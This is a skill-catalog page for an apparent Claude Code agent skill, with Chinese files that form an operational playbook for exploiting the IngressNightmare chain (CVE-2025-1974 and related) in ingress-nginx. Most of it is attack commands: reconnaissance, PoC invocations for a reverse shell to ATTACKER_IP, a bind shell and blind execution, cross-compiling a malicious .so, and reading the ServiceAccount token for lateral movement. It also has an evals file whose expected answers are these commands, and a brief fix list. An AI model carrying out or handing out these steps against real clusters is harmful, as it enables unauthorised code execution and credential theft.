
K8s Ingress Nightmare
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
k8s-ingress-nightmare is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- k8s-ingress-nightmare
- AI & Agent Building
- AI-coding skill
K8s Ingress Nightmare by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,032 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-ingress-nightmareAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
IngressNightmare — CVE-2025-1974
Ingress-NGINX Admission Controller 未授权 RCE 漏洞链(CVSSv3 9.8),无需任何 K8s 凭据即可从 Pod 网络远程执行任意代码。
⛔ 深入参考(必读)
- 漏洞原理与利用细节 → references/exploit-details.md
---
漏洞概述
IngressNightmare 是一组漏洞链(CVE-2025-24514 / CVE-2025-1097 / CVE-2025-1098 / CVE-2025-1974),攻击者通过两步实现 RCE:
1. 向 NGINX 发送大请求,使其缓存为临时文件(/tmp/ 下可预测路径) 2. 向 Admission Webhook 发送恶意 AdmissionReview,注入 ssl_engine 指令加载恶意 .so 3. Webhook 运行 nginx -t 检查配置时触发代码执行
Phase 1: 前置条件确认
1.1 确认目标使用 ingress-nginx
# 从集群外部
nmap -sV -p 443,8443,80 TARGET_IP
curl -sk https://TARGET_IP/ -I # 看 Server 头是否包含 nginx
# 从 Pod 内部
kubectl get pods -n ingress-nginx 2>/dev/null
kubectl get svc -n ingress-nginx 2>/dev/null
env | grep -i ingress1.2 定位 Admission Webhook
# Admission webhook 默认监听 8443 端口
# 从 Pod 网络内部探测
INGRESS_SVC=$(kubectl get svc -n ingress-nginx -o jsonpath='{.items[0].spec.clusterIP}' 2>/dev/null)
curl -sk https://${INGRESS_SVC}:8443/networking/v1/ingresses
# 也可以直接探测 Pod IP
kubectl get pods -n ingress-nginx -o wide 2>/dev/null1.3 定位 NGINX Uploader(请求缓存端点)
# NGINX 监听在 80/443,需要能向其发送大请求
# uploader 就是 ingress-nginx 的 HTTP 入口
UPLOADER="http://${INGRESS_SVC}:80"
# 或直接用 Pod IP
UPLOADER="http://POD_IP:80"Phase 2: 利用
2.1 使用 ingressNightmare PoC
# 反弹 shell(最常用)
ingressnightmare -m r -r ATTACKER_IP -p 4444 -i https://INGRESS:8443 -u http://UPLOADER:80
# 绑定 shell
ingressnightmare -m b -b 9999 -i https://INGRESS:8443 -u http://UPLOADER:80
# 盲执行命令
ingressnightmare -m c -c 'id > /tmp/pwn' -i https://INGRESS:8443 -u http://UPLOADER:802.2 注入变体选择
| 注入方式 | 参数 | CVE |
|---|---|---|
| auth-url(默认) | --is-auth-url | CVE-2025-24514 |
| auth-tls-match-cn | --is-match-cn --auth-secret-name NAME | CVE-2025-1097 |
| mirror UID | --is-mirror-uid | CVE-2025-1098 |
2.3 目标架构不匹配处理
# 如果出现 "Exec format error",目标可能是 arm64
ingressnightmare show-c > exp.c
# 用目标架构的交叉编译器编译
aarch64-linux-gnu-gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
ingressnightmare -m c -c 'id' --so ./danger.so -i https://INGRESS:8443 -u http://UPLOADER:80Phase 3: 后续利用
RCE 落地在 ingress-nginx Pod 内,通常拥有高权限 ServiceAccount:
# 获取 SA Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 检查 RBAC 权限(ingress-nginx 通常有 cluster-wide 权限)
kubectl auth can-i --list
# 横向 → 参考 k8s-container-escape skill工具速查
| 工具 | 用途 | 安装 / 路径 |
|---|---|---|
| ingressnightmare | CVE-2025-1974 一体化 PoC(Go 编译,多平台) | f8x -cloud 安装到 PATH;arsenal 投递物在 /pentest/arsenal/ingressnightmare/ |
| kubectl | K8s 集群管理 | f8x -cloud |
| nmap | 端口探测 | apt install nmap |
{
"skill_name": "k8s-ingress-nightmare",
"evals": [
{
"id": 1,
"prompt": "我在 K8s Pod 内部,发现集群用了 ingress-nginx,怎么利用 IngressNightmare 漏洞 RCE?",
"expected_output": "定位 admission webhook 地址(8443端口)和 NGINX HTTP 入口(80端口),使用 ingressnightmare 工具反弹 shell:ingressnightmare -m r -r ATTACKER -p PORT -i https://INGRESS:8443 -u http://UPLOADER:80"
},
{
"id": 2,
"prompt": "用 ingressnightmare 打 CVE-2025-1974 报 Exec format error 怎么办?",
"expected_output": "架构不匹配,目标可能是 arm64。用 ingressnightmare show-c 导出源码,交叉编译后用 --so 参数指定自定义 .so"
},
{
"id": 3,
"prompt": "IngressNightmare 漏洞的利用前提是什么?",
"expected_output": "需要能访问 ingress-nginx admission webhook(8443端口),通常从 Pod 网络内部可达。不需要任何 K8s 凭据或认证。影响 ingress-nginx < 1.12.1 / < 1.11.5"
}
]
}
IngressNightmare 漏洞利用细节
漏洞链原理
IngressNightmare 本质是 NGINX 临时文件 + Admission Webhook 配置注入 + ssl_engine 动态库加载 三步利用链:
Step 1: 发送大 HTTP 请求 → NGINX 缓存到 /tmp/client_body_temp/XXXX → 文件路径可预测
Step 2: 发送恶意 AdmissionReview → 注入 nginx 配置 → ssl_engine /tmp/client_body_temp/XXXX;
Step 3: Admission Controller 运行 nginx -t → 加载恶意 .so → RCE文件路径预测
NGINX 的 client_body_temp 目录下,临时文件名为递增数字(0000000001 到 0000000010),可通过持续发送请求抢占文件名。
配置注入点
三个 CVE 分别对应不同的注入入口:
| CVE | 注入字段 | 描述 |
|---|---|---|
| CVE-2025-24514 | auth-url annotation | 注入到 proxy_pass 指令中 |
| CVE-2025-1097 | auth-tls-match-cn annotation | 注入到 SSL 验证配置中 |
| CVE-2025-1098 | mirror UID | 注入到 mirror 配置块中 |
| CVE-2025-1974 | Admission Controller 无认证 | 允许任意 AdmissionReview 请求 |
影响版本
- Ingress-NGINX Controller < 1.12.1
- Ingress-NGINX Controller < 1.11.5
PoC 高级用法
分步利用(调试场景)
# 仅发送 upload 请求(持续上传恶意 .so)
ingressnightmare -m c -c "id" -u http://UPLOADER:80 --only-upload
# 仅发送 admission 请求(指定已上传的 .so 路径)
ingressnightmare -m c -i https://INGRESS:8443 --only-admission --only-admission-file /tmp/client_body_temp/0000000001
# dry-run 模式查看生成的 payload
ingressnightmare -m c -c 'id' -u http://UPLOADER:80 --dry-run
# 导出 .so 文件: > /tmp/evil.so
# dry-run 查看生成的 admission 请求
ingressnightmare -m c -i https://INGRESS:8443 --only-admission --only-admission-file /tmp/evil.so --dry-run调试模式
# debug 模式
ingressnightmare -m c -c 'id' -i https://INGRESS:8443 -u http://UPLOADER:80 -v
# trace 模式(最详细)
ingressnightmare -m c -c 'id' -i https://INGRESS:8443 -u http://UPLOADER:80 -vv自定义 .so 编译
默认 payload 使用无 libc 依赖的方式编译(适配 5.10 内核),如目标环境不同:
# 导出 C 源码
ingressnightmare show-c > exp.c
# 针对目标架构编译
# x86_64
gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
# aarch64
aarch64-linux-gnu-gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
# 使用自定义 .so
ingressnightmare -m c -c 'id' --so ./danger.so -i https://INGRESS:8443 -u http://UPLOADER:80修复建议
1. 升级到 Ingress-NGINX Controller >= 1.12.1 或 >= 1.11.5 2. 为 Admission Webhook 启用认证(--enable-ssl-chain-completion=false) 3. 使用 NetworkPolicy 限制对 Admission Controller 8443 端口的访问 4. 考虑迁移到其他 Ingress Controller(如 Traefik, Envoy/Istio)